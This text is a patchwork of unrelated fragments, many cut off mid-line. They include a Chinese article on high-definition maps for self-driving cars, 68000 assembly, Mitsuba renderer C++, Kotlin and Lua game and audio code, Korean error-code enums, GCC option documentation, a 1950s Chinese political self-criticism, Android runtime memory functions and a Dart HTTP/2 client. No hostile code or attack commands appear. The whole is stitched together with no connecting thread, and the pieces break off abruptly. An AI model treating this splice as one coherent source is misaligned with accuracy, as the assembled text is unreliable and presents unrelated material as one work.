通场景。
第二个是雪天。雪天是非常难解的场景，雪天时路上的车道线全部被盖住了，不管是基于视觉还是雷达都无法正常运行。
2018年谷歌IO大会上提出了通过深度学习能够解决雪天的场景。在下雪过程中，激光雷达在扫描到雪花之后会误报出很多障碍物，通过深度学习能够把激光雷达上检测到的雪花障碍物过滤掉，最终得到跟没有下雪的场景一样，但是具体效果怎么样，并没有具体的数据披露。
第三个是复杂的红绿灯。

高精地图是静态的Perception。机器理解不了，我们可以把人理解的经验赋予给驾驶系统，相当于把人的经验传授给它。
**(2)弥补系统性缺陷**
自动驾驶需要非常复杂的计算系统，4G的传输速度并不能满足现阶段自动驾驶的海量数据传输需求。 64线激光雷达、Camera和其他传感器，每时每刻都会产生巨量的数据，这些数据不能传回云端，就不能采用互联网的模式：通过云端计算把结果发送给终端。 5G是否能达到数据传输的要求还需要再验证。目前从5G的宣传层面来看，能够达到数据实时传输的效果，但是5G的普及还需要时间。所以现在把大量的数据都放在终端。

Apollo的自动驾驶车辆后面有非常大的计算单元。基于英特尔工控机，Apollo把所有的计算都放在车上，这会对计算速度和实时性有很大的影响。 但是自动驾驶车辆的计算量太大，想要达到实时级的响应，仍需其他模块的辅助。
例如，高精地图告诉感知/控制模块，在双向通行的车道中有栅栏隔离，对向车道的车不可能过来，系统就可以放弃检测对向车道上的障碍物，有效地降低系统负担。

传感器有局限，但高精地图给自动驾驶提供了超视觉、超过传感器边界的远距离感知。

## 2.高精度地图的采集与生产

### 2.1采集所需传感器

##### GPS

空间点位置的计算原理 （通过GPS）：
空间点位置是一个三维坐标，有三个变量，需要三个方程。
通过观测三颗卫星与空间点位置的距离，利用三角测量法，就可以准确地得到地球上任何一点的空间位置。但三颗卫星的测量方案在实际应用中，可能会存在误差。因此，在空间点位置的计算过程


*************************************************
*
* GEMMA Extension for STOS, interpreter version.
*
* VDI extension, v0.50 Part 1 (3)
*
* (c)1997 The GEMMA programming team
* All rights reserved.
*
* This source code, (or any derived from it) may only
* only be distributed under the GNU Public Licence
* (available on request). In essence this states that
* this source code must be available and that binaries
* must be distributed as freeware.
*
* The authors reserves the right to change the status of
* this software at any time, without prior warning or
* notification.
*
*    Supervisor mode   - The AES should NOT be called from
*                        supervisor mode (which STOS is in)
*    on-line help (not one help command per new command!)

* Jump header

	output C:\STOS\GEMMA.EXF

        bra     INIT

***********************************************
*
* Header
*

* Start of token list
        dc.b    128

TOKENS

* even=instruction, odd=function
	dc.b	"v_bar",128
	dc.b	"vsf_interior",129
	dc.b	"vsf_colr",130
	dc.b	"vs_clip",131
	dc.b	"vst_point",132		* 5
	dc.b	"vqt_name",133
	dc.b	"vst_colr",134
	dc.b	"chandle",135
	dc.b	"v_pline",136
	dc.b	"v_pmarker",137		* 10
	dc.b	"v_fillarea",138
	dc.b	"v_conturfll",139
	dc.b	"vr_recfl",140
	dc.b	"v_arc",141
	dc.b	"v_pieslice",142	* 15
	dc.b	"v_circle",143
	dc.b	"v_ellarc",144
	dc.b	"v_ellpie",145
	dc.b	"v_ellipse",146
	dc.b	"v_rbox",147		* 20
	dc.b	"v_rfbox",148
	dc.b	"v_justified",149
	dc.b	"vswr_mode",150
	dc.b	"vs_colr",151
	dc.b	"vsl_type",152		* 25
	dc.b	"vsl_udsty",153
	dc.b	"vsl_width",154
	dc.b	"vsl_colr",155
	dc.b	"v_show_c",156
	dc.b	"vsl_ends",157		* 30
	dc.b	"v_hide_c",158
	dc.b	"vst_load_fonts",159
	dc.b	"v_gtext",160
	dc.b	"dummygemma6",161		* vst_font
	dc.b	"v_ftext",162		* 35
	dc.b	"v_get_pixel",163
	dc.b	"vst_font",164
	dc.b	"v_opnwk",165
	dc.b	"dummygemma8",166
	dc.b	"dummygemma9",167		* 40
	dc.b	"vsm_type",168
	dc.b	"vsm_height",169
	dc.b	"vst_height",170
	dc.b	"vst_rotation",171
	dc.b	"vst_effects",172	* 45
	dc.b	"vst_alignment",173
	dc.b	"vsf_style",174
	dc.b	"vsf_perimeter",175
	dc.b	"v_openvwk",176		* 49

* The end of the token list
        dc.b


 under the terms of the GNU General Public License Version 3
    as published by the Free Software Foundation.

    Mitsuba is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program. If not, see <http://www.gnu.org/licenses/>.
*/

#include <mitsuba/hw/gpuprogram.h>
#include <boost/filesystem/fstream.hpp>

MTS_NAMESPACE_BEGIN

GPUProgram::GPUProgram(const std::string &name)
 : m_name(name), m_inputGeometryType(ETriangles),
   m_outputGeometryType(ETriangleStrips),
   m_maxVertices(0), m_bound(false) {
}

GPUProgram::~GPUProgram() {
}

void GPUProgram::setSourceFile(EType type, const fs::path &path) {
    fs::ifstream ifs(path);
    if (ifs.fail() || ifs.bad())
        Log(EError, "Unable to load GPU program \"%s\"",
            path.string().c_str());
    std::string code, line;

    while (getline(ifs, line)) {
        code += line;
        code += "\n";
    }

    ifs.close();
    setSource(type, code);
}

std::string GPUProgram::toString() const {
    std::ostringstream oss;
    oss << "GPUProgram[name = '" << m_name<< "'";
    if (m_maxVertices != 0)
        oss << ", maxVertices=" << m_maxVertices;
    oss << "]";
    return oss.str();
}

MTS_IMPLEMENT_CLASS(GPUProgram, true, Object)
MTS_NAMESPACE_END
/*
    This file is part of Mitsuba, a physically based rendering system.

    Copyright (c) 2007-2014 by Wenzel Jakob and others.

    Mitsuba is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License Version 3
    as published by the Free Software Foundation.

    Mitsuba is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program. If not, see <http://www.gnu.org/licenses/>.
*/

#include <mitsuba/hw/glxrenderer.h>
#include <mitsuba/hw/x11device.h>
#include <X11/XKBlib.h>

#define DEFINE_KEY(xsym, sym) m_keymap[xsym & 0xFF] = sym

MTS_NAMESPACE_BEGIN

X11Device::X11Device(X11Session *session)
 : Device(session), m_visinfo(NULL), m_visible(false) {
    m_title = "Mitsuba [x11]";
    for (int i=0; i<256; i++)
        m_keymap[i] = ENoSpecial;

    /* X11 <-> Mitsu


on);

            Assert.AreEqual(-122.51368188, coord.Longitude);
            Assert.AreEqual(37.70813196, coord.Latitude);
        }

        [TestMethod]
        public void Coordinate_Ctor_Returns_Null_JsonData()
        {
            var coord = new Coordinate(null);

            Assert.AreEqual(0, coord.Longitude);
            Assert.AreEqual(0, coord.Latitude);
        }

        const string CoordinateJson = @"[
                              -122.51368188,
                              37.70813196
                           ]";
    }
}


readFileDataIntoBufferLE(fc, 1)
		val b = audioData.get()
		val blen = b.toInt() and 255
		audioData = Utils.readFileDataIntoBufferLE(fc, blen)
		val buff = ByteArray(blen)
		audioData[buff]
		description = String(buff, StandardCharsets.ISO_8859_1)

		//System.out.println(" new postion: "+fc.position());
		skipToChunkEnd(fc)
	}

	override fun toString(): String {
		return DffChunkType.CMPR.code
	}
}
/**
 * @author : Paul Taylor
 * @author : Eric Farng
 *
 * Version @version:$Id$
 *
 * MusicTag Copyright (C)2003,2004
 *
 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser
 * General Public  License as published by the Free Software Foundation; either version 2.1 of the License,
 * or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even
 * the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 * See the GNU Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public License along with this library; if not,
 * you can get a copy from http://www.opensource.org/licenses/lgpl-license.php or write to the Free Software
 * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 */
package com.flammky.musicplayer.common.media.audio.meta_tag.audio.exceptions

/**
 * This is the exception when try and access a read only file
 */
class ReadOnlyFileException : Exception {
	/**
	 * Creates a new ReadOnlyException datatype.
	 */
	constructor()
	constructor(ex: Throwable?) : super(ex)

	/**
	 * Creates a new ReadOnlyException datatype.
	 *
	 * @param msg the detail message.
	 */
	constructor(msg: String?) : super(msg)
	constructor(msg: String?, ex: Throwable?) : super(msg, ex)

	companion object {
		/**
		 *
		 */
		private const val serialVersionUID = 3390133566776688874L
	}
}
/*
 * Entagged Audio Tag library
 * Copyright (c) 2003-2005 Raphaël Slinckx <raphael@slinckx.net>
 *
 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 2.1 of the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 */
package com.flammky.musicplayer.common.media.audio.meta_tag.audio.exceptions

/**
 * This exception is thrown if an audio file cannot be read.

 * Causes may be invalid data or IO errors.
 *
 * @author Raphaël Slinckx
 */
open class CannotReadException : Exception {
	/**
	 * Creates an instance.
	 */
	constructor() : super()
	constructor(ex: Throwable?) : super(ex)

	/**
	 * Creates an instance.
	 *
	 * @param message The message.
	 */
	constructor(message: String?) : super(message)

	/**
	 * Creates an instance.
	 *
	 * @param message The error message.
	 * @param cause   The throwable causing this exception.
	 */
	c


FAdmin.MOTD = {}
local MOTDPage

sql.Query([[CREATE TABLE IF NOT EXISTS FADMIN_MOTD(
    'map' TEXT NOT NULL PRIMARY KEY,
    x INTEGER NOT NULL,
    y INTEGER NOT NULL,
    z INTEGER NOT NULL,
    pitch INTEGER NOT NULL,
    yaw INTEGER NOT NULL,
    roll INTEGER NOT NULL
    );]])

local MOTD = sql.Query("SELECT * FROM FADMIN_MOTD WHERE LOWER(map) = " .. MySQLite.SQLStr(string.lower(game.GetMap())) .. ";")

hook.Add("InitPostEntity", "PlaceMOTD", function()
    if not MOTD or (not MOTD[1] and not MOTD["1"]) then return end
    MOTD = MOTD[1] or MOTD["1"]

    local ent = ents.Create("fadmin_motd")
    ent:SetPos(Vector(MOTD.x, MOTD.y, MOTD.z))
    ent:SetAngles(Angle(MOTD.pitch % 360, MOTD.yaw % 360, MOTD.roll % 360))
    ent:Spawn()
    ent:Activate()

    if file.Exists("FAdmin/CurMOTDPage.txt", "DATA") and file.Read("FAdmin/CurMOTDPage.txt", "DATA") ~= "" then
        game.ConsoleCommand("_FAdmin_MOTDPage \"" .. file.Read("FAdmin/CurMOTDPage.txt", "DATA") .. "\"\n")
    end
end)

function FAdmin.MOTD.SaveMOTD(ent, ply)
    local pos = ent:GetPos()
    local ang = ent:GetAngles()

    local map, x, y, z, pitch, yaw, roll =
        string.lower(game.GetMap()),
        pos.x, pos.y, pos.z,
        ang.p, ang.y, ang.r
    if MOTD then
        sql.Query([[UPDATE FADMIN_MOTD SET ]]
        .. "x = " .. MySQLite.SQLStr(x) .. ", "
        .. "y = " .. MySQLite.SQLStr(y) .. ", "
        .. "z = " .. MySQLite.SQLStr(z) .. ", "
        .. "pitch = " .. MySQLite.SQLStr(pitch) .. ", "
        .. "yaw = " .. MySQLite.SQLStr(yaw) .. ", "
        .. "roll = " .. MySQLite.SQLStr(roll)
        .. " WHERE map = " .. M


-- items: 68298
local turned_in_seal = false
local tool_count = 0

local function update_flag(client)
  local sewers_flag = tonumber(eq.get_data(client:CharacterID() .. "-god_sewers")) or 0
  local snlair_key = string.format("%s-god_snlair", client:CharacterID())

  if sewers_flag < 3 then
    eq.set_data(snlair_key, "T")
    client:Message(MT.Yellow, "You have gained a temporary character flag!  Seek the High Priest's Scribe to find out more information.")
  else
    eq.set_data(snlair_key, "1")
    client:Message(MT.Yellow, "You have gained a character flag!  All of High Priest Diru's tasks have been completed.  He will now tell you who to talk to for passage through the mountains.")
  end
end

function event_spawn(e)
  e.self:SetSpecialAbility(SpecialAbility.immune_melee, 1)
  e.self:SetSpecialAbility(SpecialAbility.immune_magic, 1)
  e.self:SetSpecialAbility(SpecialAbility.immune_aggro, 1)
  e.self:SetSpecialAbility(SpecialAbility.immune_aggro_on, 1)
  e.self:SetSpecialAbility(SpecialAbility.no_harm_from_client, 1)

  eq.set_timer("appearance", 1000)
  eq.spawn_condition("snlair", eq.get_zone_instance_id(), 1, 1) -- default mobs inside tool rooms
end

function event_say(e)
  if e.message:findi("hail") then
    if not turned_in_seal then
      eq.get_entity_list():MessageClose(e.self, true, 100, MT.SayEcho, "Alej Leraji in a raspy, tired voice says, 'Who are you? What are you doing here?'")
    else
      eq.get_entity_list():MessageClose(e.self, true, 100, MT.SayEcho, "Alej Leraji says, 'Please hurry and [" .. eq.say_link("find my three stone shaping tools") .. "], there isn't time to waste!'")
    end
  elseif e.message:findi("found(.*)stone shaping tool") then
    if tool_count == 0 then
      eq.get_entity_list():MessageClose(e.self, true, 100, MT.SayEcho, "Alej Leraji says, 'I don't see any tools. Please acquire my three tools so I can escape this collapsed prison!'")
    elseif tool_count == 1 then
      eq.get_entity_list():MessageClose(e.self, true, 100, MT.SayEcho, "Alej Leraji says, 'You are missing two of my tools. Please acquire them so I can escape this stony bastille!'")
    elseif tool_count == 2 then
      eq.get_entity_list():MessageClose(e.self, true, 100, MT.SayEcho, "Alej Leraji says, 'You only need one more tool. Please acquire it before there is no time left!'")
    elseif tool_count == 3 then
      eq.get_entity_list():MessageCl


_FOUND, "NOTIFICATION4044", "해당 알림을 찾을 수 없습니다."),
    FAMILY_NOT_FOUND(HttpStatus.NOT_FOUND, "PARTICIPANT_REWARD40414", "가족 정보를 찾을 수 없습니다."),
    NOT_IN_FAMILY_YET(HttpStatus.NOT_FOUND, "PARTICIPANT_REWARD40415", "소속된 가족 정보를 찾을 수 없습니다."),
    // == Auth 관련 에러 ==
    AUTH_REQUIRED(HttpStatus.UNAUTHORIZED, "AUTH401", "인증 정보가 필요합니다."),
    // == Appointment 관련 에러 ==
    APPOINTMENT_NOT_FOUND(HttpStatus.NOT_FOUND, "APPOINTMENT4041", "해당 약속을 찾을 수 없습니다."),
    PARTICIPANT_NOT_FOUND(HttpStatus.NOT_FOUND, "PARTICIPANT4041", "해당 약속의 참여자가 아닙니다."),
    // == Topic 관련 에러 ==
    TOPIC_NOT_FOUND(HttpStatus.NOT_FOUND, "TOPIC4041", "해당 토픽을 찾을 수 없습니다."),
    ANSWER_NOT_FOUND(HttpStatus.NOT_FOUND, "ANSWER4041", "해당 답변을 찾을 수 없습니다."),
    TOPIC_NOT_ACTIVE(HttpStatus.BAD_REQUEST, "TOPIC4001", "활성화된 토픽이 아닙니다."),
    ANSWER_ALREADY_EXISTS(HttpStatus.CONFLICT, "ANSWER4091", "이미 답변이 존재합니다. 수정 API를 이용하세요."),
    // == Home 관련 에러 ==
    HOME_DATA_NOT_FOUND(HttpStatus.NOT_FOUND, "HOME4041", "최근 30일간 답변 데이터가 없습니다."),
    FAMILY_PARTICIPATION_NOT_FOUND(HttpStatus.NOT_FOUND, "HOME4042", "해당 가족의 참여 기록이 없습니다."),
    // == BookShelf 관련 에러 ==
    BOOKSHELF_INVALID_PARAMETER(HttpStatus.BAD_REQUEST,"BOOKSHELF4001", "잘못된 책장 요청입니다."),
    BOOKSHELF_FAMILY_NOT_FOUND(HttpStatus.NOT_FOUND, "BOOKSHELF4041", "가족을 찾을 수 없습니다."),
    BOOKSHELF_MEMBERS_NOT_FOUND(HttpStatus.NOT_FOUND, "BOOKSHELF4042", "가족 구성원이 존재하지 않습니다."),
    // == Gemini 관련 에러 ==
    GEMINI_TIMEOUT(HttpStatus.GATEWAY_TIMEOUT, "GEMINI5041", "Gemini 요청이 시간 초과되었습니다."),
    GEMINI_HTTP_ERROR(HttpStatus.BAD_GATEWAY, "GEMINI5021", "Ge


using System;
using System.Collections.Generic;

namespace ET.Server
{
    [ActorMessageHandler(SceneType.Map)]
    public class GMHandler : AMActorLocationRpcHandler<Unit, GMALRequest, GMALResponse>
    {
        protected override async ETTask Run(Unit unit, GMALRequest request, GMALResponse response, Action reply)
        {
            switch (request.Code)
            {
                case GMCode.AddRobot:
                {
                    break;
                }
                case GMCode.ClearDB:
                {
                    this.ClearDB(unit);
                    break;
                }
                case GMCode.ReloadSkill:
                {
                    this.ReloadSkill(unit, request);
                    break;
                }
                case GMCode.ReloadBuff:
                {
                    this.ReloadBuff(unit, request);
                    break;
                }
                case GMCode.GetItem:
                {
                    response.Error = this.GetItem(unit, request);
                    break;
                }
                case GMCode.ClearBag:
                {
                    this.ClearBag(unit, request);
                    break;
                }
            }
            reply();

            await ETTask.CompletedTask;
        }

        private void ClearDB(Unit unit)
        {

        }

        private void ReloadSkill(Unit unit, GMALRequest request)
        {

        }

        private void ReloadBuff(Unit unit, GMALRequest request)
        {

        }

        private int GetItem(Unit unit, GMALRequest request)
        {
            var cfg = ItemConfigCategory.Instance.Get(Convert.ToInt32(request.P1));
            if (cfg == null)
                return ErrorCode.ERR_ItemNotExist;
            var bagComponent = unit.GetComponent<BagComponent>();

            bagCompon


s for
<samp>-march=<var>architecture-type</var></samp>.

-mmax-stack-frame=<var>n</var>

Warn when the stack frame of a function exceeds <var>n</var> bytes.

-metrax4

-metrax100

The options <samp>-metrax4</samp> and <samp>-metrax100</samp> are synonyms for
<samp>-march=v3</samp> and <samp>-march=v8</samp> respectively.

-mmul-bug-workaround

-mno-mul-bug-workaround

Work around a bug in the muls and mulu instructions for CPU
models where it applies.  This option is active by default.

-mpdebug

Enable CRIS-specific verbose debug-related information in the assembly
code.  This option also has the effect of turning off the ‘<samp>#NO_APP</samp>’
formatted-code indicator to the assembler at the beginning of the
assembly file.

-mcc-init

Do not use condition-code results from previous instruction; always emit
compare and test instructions before use of condition codes.

-mno-side-effects

Do not emit instructions with side effects in addressing modes other than
post-increment.

-mstack-align

-mno-stack-align

-mdata-align

-mno-data-align

-mconst-align

-mno-const-align

These options (‘<samp>no-</samp>’ options) arrange (eliminate arrangements) for the
stack frame, individual data and constants to be aligned for the maximum
single data access size for the chosen CPU model.  The default is to
arrange for 32-bit alignment.  ABI details such as structure layout are
not affected by these options.

-m32-bit

-m16-bit

-m8-bit

<a name="index-m8


return false
            }
        }
    }
    return true
}

package com.example.zenohapp.cdr

import java.nio.ByteBuffer
import java.nio.ByteOrder
import java.nio.charset.Charset

class CDRInputStream(var buffer: ByteBuffer) {

    val CDR_BE: UByte = 0u
    val CDR_LE: UByte = 1u

    init {
        readEncodingFlags()
    }
    private fun readEncodingFlags() {
        buffer.order(ByteOrder.LITTLE_ENDIAN)
        buffer.get()
        buffer.get()
        buffer.get()
        buffer.get()
    }

    private fun align(align: Int) {
        if (align > 1) {
            val padding = (-buffer.position() and (align - 1))
            if (padding != 0) {
                buffer.position(buffer.position() + padding)
            }
        }
    }

    fun readBoolean(): Boolean {
        return (buffer.get().toInt() != 0)
    }

    fun readFloat(): Float {
        align(4)
        return buffer.getFloat()
    }

    fun readInt(): Int {
        align(4)
        return buffer.getInt()
    }

    fun readUInt(): UInt {
        return readInt().toUInt()
    }

    fun readString(): String {
        val length = readInt()
        if (length < 1) {
            return ""
        }

        buffer.position((buffer.position() + length))
        return String(
            buffer.array(),
            (buffer.position() - length),
            (length - 1),
            Charset.defaultCharset()
        )
    }

    fun readUByte() : UByte {
        return buffer.get().toUByte()
    }

    fun readFloatArray() : Array<Float> {
        val length = readInt()
        var array = Array<Float>(length){0.0f}

        if (length == 0) {
            return array
        }
        for (i in 0..length) {
            array[i] = readFloat()
        }
        return array
    }

    fun readByteArray() : ByteArray {
        val length = readInt()
        return buffer.array().copyOfRange(buffer.position(), buffer.position()+length)
    }

}package com.example.zenohdemo.ui.examples

import io.zenoh.bytes.ZBytes
import io.zenoh.keyexpr.intoKeyExpr
import io.zenoh.pubsub.Publisher
import kotlinx.coroutines.*
import kotlinx.coroutines.Dispatchers.IO
import kotlinx.coroutines.Dispatchers.Main

class ZPubFragment : ZExampleFragment() {
    companion object {
        private val TAG = ZPubFragment::javaClass.name
    }

    private var publisher: Publisher? = null

    @OptIn(DelicateCoroutinesApi::class)
    override fun startExample() {
        val session = viewModel.zenohSession!!
        val keyExpr = "demo/example/zenoh-android-pub".intoKeyExpr().getOrThrow()
        val publisher = session.declarePublisher(keyExpr).getOrThrow()
        GlobalScope.launch(IO) {
            var idx = 0
            while (exampleIsRunning) {
                delay(1000)
                val payload = ZBytes.from("Pub from Android!")
                withContext(Main) {
                    writeToConsole(
                        "Putting Data ('$keyExpr': '[${
                            idx.toString().padStart(4, ' ')
                        }] $payload')..."
                    )
                }
                publisher.put(payload)
                idx++
            }
        }
    }

    override fun stopExample() {
        exampleIsRunning = false
        publisher?.undeclare()
    }

    override fun onDestroyView() {
        super.onDestroyView()
        stopExample()
    }
}
package com.example.zenohdemo.ui.examples

import io.zenoh.query.intoSelector
import io.zenoh.sample.SampleKind
import kotlinx.coroutines.Delic


题不了解，但是却有“外国知识”，搞外国问题是有办法的。因此以国际问题的“理论家”自居，并在同学中提倡什么“英国专家”，“法国专家”……。人民不要像我们这样的“理论家”。人民所要的是真正的理论家，是马克思主义与中国实际相结合的理论家。

   毛主席早就对从事理论工作的人指出了一个办法：“回到实际研究中去。”（见“整顿学风、党风、文风”第七页）两年来我们联系实际的机会是很多的，但是由於满足於那种形式主义的改革，有些教授对政府业务部门一年来所给予我们的协助是不加以重视的；对於如何培养国家政权工作干部的问题也采取置之不理的态度，他们认为那是短期训练班的任务。

   口头上说理论要和实际一致，而在行动上却服膺着那条资产阶级的基本原则：理论和实际分离。这便是政治学系教授的思想现状。

   问题的关键在那里

   政治学系的教学工作改进得这样的慢和这样的少，关键决不在於“没有教材”。关於国家的学说，关於阶级斗争的理论，关於中国革命的战略和策略，在马克思列宁主义和毛泽东思想的宝库里是丰富极了。关於政权工作也是这样。问题在於我们对新东西不喜欢学习，或者不善於学习，或者学得不够努力。

   问题的关键决不在於“没有可聘的教授”（久经锻炼的革命家在我们的国家里是很多的），而在於我们把自己的“学术权威”估计得过高，把革命斗争经验估计得过低。系里除钱端升院长、许德珩教授和吴之椿教授外，其余教授都是清华大学毕业生，都曾到过英国留学，又都是拉斯基的门生。就是这样，我们结成了一个小小的宗派。我们不欢迎校外的人士和新力量加入到我们系里来。我们看不起人家。我们关起门来读自己的书，希望“只此一家，别无分店”。同时，这里还必须指出，在我们这个小小的宗派里，曾长期存在着无原则的纠纷，各怀“心思”，影响了工作。在这一点上，我们每个人都是要负责任的。

   问题的关键决不在於“得不到联系实际的机会”。人民政府已为我们准备了种种条件。例如，一九五一年五月十一日中央人民政府政务院政治法律委员会彭真副主任在“关於政治工作的情况和目前任务”的报告中，就有“对各大学政法学系课程改革，应予以协助。”一条。因此，我反对“等待政府来团结我们，我们不主动与之联系”的那种实际上是拒绝改革的思想。

   问题的关键也不在像法学院钱端升院长所说：“旧的不先除掉，新的是进不


slice(end)
          const checksumShould = (dataFrame.pop()! << 8) + dataFrame.pop()!
          const checksumIs =
            dataFrame.reduce((prev, curr) => prev + curr, 0) % Math.pow(2, 16)
          if (checksumShould === checksumIs) {
            callback(dataFrame)
          } else {
            console.error(`Checksum error: ${checksumIs}≠${checksumShould}`)
            // callback(dataFrame)
          }
        } else {
          busy = false
        }
      }
    }
    let running = true
    const produce = async () => {
      while (running) {
        await sleep(16)
        if (!this.reader) continue
        const { value } = await this.reader.read()
        if (value !== undefined) {
          this.readbuffer.push(...value)
          consume()
        }
      }
    }

    produce()
    // consume()
    return () => {
      running = false
    }
  }
}
const serial = new Serial()

export default serial

window.serial = serial
window.addEventListener('beforeunload', () => serial.close())
export {}
// 엑셀 기능이 있는 차 만들기
interface ICar {
  honk(): void
  accel(speed: number): void
  getSpeed(): number
}

class Car implements ICar {
  private speed: number
  constructor(private name: string) {
    this.name = name
    this.speed = 0
  }

  public honk(): void {
    console.log('부우우웅')
  }

  public accel(speed: number): void {
    this.speed += speed
  }

  public getSpeed(): number {
    return this.speed
  }
}

const car = new Car('spark')
car.honk() // 부우우웅
car.accel(30)
car.accel(80)
console.log(car.getSpeed()) // 110
import {IVoiceControl, IVoiceControlConfig} from './IVoiceControl';
import {IServerResponse, IAction, IContext} from '../api-ai/Interfaces';

/*
 *  === Web Speech API ===
 *
 * @see https://www.chromium.org/developers/how-tos/api-keys
 * @see https://developer.mozilla.org/en-US/docs/Web/API/Web_Speech_API
 * @see https://groups.google.com/a/chromium.org/forum/#!topic/chromium-dev/5PrGai_wOZU
 */
export default class GoogleWebSpeechApiVoiceControl implements IVoiceControl {

  private readonly recognition: SpeechRecognition;
  private readonly config: IVoiceControlConfig;

  private currentRequest?: Promise<IServerResponse>;
  private currentResolve?: (value?: IServerResponse | Promise<IServerResponse>) => void;
  private currentReject?: (reason?: any) => void;

  constructor(config: IVoiceControlConfig) {
    this.recognition = new webkitSpeechRecognition();
    this.recognition.lang = this.parseLang(config.lang);
    this.recognition.onresult = this.onRecognitionResult;

    this.config = config;
  }

  startRecognition(): Promise<IServerResponse> {
    if (this.isReady()) {
      const request = new Promise((resolve, reject) => {
          this.currentResolve = resolve;
          this.currentReject = reject;
      });
      this.currentRequest = request;
      this.recognition.start();
      return request;
    }
    // TODO introduce error type
    return Promise.reject({error: 'request in progress'});
  }

  close(): void {
    this.recognition.stop();
    if (this.currentReject) {
      this.currentReject();
    }
    this.reset();
  }

  private parseLang = (lang: String) => {
    switch (lang) {
      case 'de':
      case 'DE':


_t>(address)));
}

static void Unsafe_setMemory(JNIEnv* env ATTRIBUTE_UNUSED, jobject, jlong address, jlong bytes, jbyte value) {
  memset(reinterpret_cast<void*>(static_cast<uintptr_t>(address)), value, bytes);
}

static jbyte Unsafe_getByteJ(JNIEnv* env ATTRIBUTE_UNUSED, jobject, jlong address) {
  return *reinterpret_cast<jbyte*>(address);
}

static void Unsafe_putByteJB(JNIEnv* env ATTRIBUTE_UNUSED, jobject, jlong address, jbyte value) {
  *reinterpret_cast<jbyte*>(address) = value;
}

static jshort Unsafe_getShortJ(JNIEnv* env ATTRIBUTE_UNUSED, jobject, jlong address) {
  return *reinterpret_cast<jshort*>(address);
}

static void Unsafe_putShortJS(JNIEnv* env ATTRIBUTE_UNUSED, jobject, jlong address, jshort value) {
  *reinterpret_cast<jshort*>(address) = value;
}

static jchar Unsafe_getCharJ(JNIEnv* env ATTRIBUTE_UNUSED, jobject, jlong address) {
  return *reinterpret_cast<jchar*>(address);
}

static void Unsafe_putCharJC(JNIEnv* env ATTRIBUTE_UNUSED, jobject, jlong address, jchar value) {
  *reinterpret_cast<jchar*>(address) = value;
}

static jint Unsafe_getIntJ(JNIEnv* env ATTRIBUTE_UNUSED, jobject, jlong address) {
  return *reinterpret_cast<jint*>(address);
}

static void Unsafe_putIntJI(JNIEnv* env ATTRIBUTE_UNUSED, jobject, jlong address, jint value) {
  *reinterpret_cast<jint*>(address) = value;
}

static jlong Unsafe_getLongJ(JNIEnv* env ATTRIBUTE_UNUSED, jobject, jlong address) {
  return *reinterpret_cast<jlong*>(address);
}

static void Unsafe_putLongJJ(JNIEnv* env ATTRIBUTE_UNUSED, jobject, jlong address, jlong value) {
  *reinterpret_cast<jlong*>(address) = value;
}

static jfloat Unsafe_getFloatJ(JNIEnv* env ATTRIBUTE_UNUSED, jobject, jlong address) {
  return *reinterpret_cast<jfloat*>(address);
}

static void Unsafe_putFloatJF(JNIEnv* env ATTRIBUTE_UNUSED, jobject, jlong address, jfloat value) {
  *reinterpret_cast<jfloat*>(address) = value;
}
static jdouble Unsafe_getDoubleJ(JNIEnv* env ATTRIBUTE_UNUSED, jobject, jlong address) {
  return *reinterpret_cast<jdouble*>(address);
}

static void Unsafe_putDoubleJD(JNIEnv* env ATTRIBUTE_UNUSED, jobject, jlong address, jdouble value) {
  *reinterpret_cast<jdouble*>(address) = value;
}

static void Unsafe_copyMemory(JNIEnv *env, jobject unsafe ATTRIBUTE_UNUSED, jlong src,
                              jlong dst, jlong size) {
  if (size == 0) {
    return;
  }
  // size is nonnegative and fits into size_t
  if (size < 0 || size != (jlong)(size_t) size) {
    ScopedFastNativeObjectAccess soa(env);
    ThrowIllegalAccessException("wrong number of bytes");
  }
  size_t sz = (size_t)size;
  memcpy(reinterpret_cast<void *>(dst), reinterpret_cast<void *>(src), sz);
}

template<typename T>
static void copyToArray(jlong srcAddr,
                        ObjPtr<mirror::PrimitiveArray<T>> array,
                        size_t array_offset,
                        size_t size)
        REQUIRES_SHARED(Locks::mutator_lock_) {
  const T* src = reinterpret_cast<T*>(src


I>');
    exit(1);
  }

  var uriArg = args[0];

  if (!uriArg.startsWith('https://')) {
    print('URI must start with https://');
    exit(1);
  }

  var uri = Uri.parse(uriArg);

  var socket = await connect(uri);

  // The default client settings will disable server pushes. We
  // therefore do not need to deal with [stream.peerPushes].
  var transport = ClientTransportConnection.viaSocket(socket);

  var headers = [
    Header.ascii(':method', 'GET'),
    Header.ascii(':path', uri.path),
    Header.ascii(':scheme', uri.scheme),
    Header.ascii(':authority', uri.host),
  ];

  var stream = transport.makeRequest(headers, endStream: true);
  await for (var message in stream.incomingMessages) {
    if (message is HeadersStreamMessage) {
      for (var header in message.headers) {
        var name = utf8.decode(header.name);
        var value = utf8.decode(header.value);
        print('$name: $value');
      }
    } else if (message is DataStreamMessage) {
      // Use [message.bytes] (but respect 'content-encoding' header)
    }
  }
  await transport.finish();
}

Future<Socket> connect(Uri uri) async {
  var useSSL = uri.scheme == 'https';
  if (useSSL) {
    var secureSocket = await SecureSocket.connect(uri.host, uri.port,
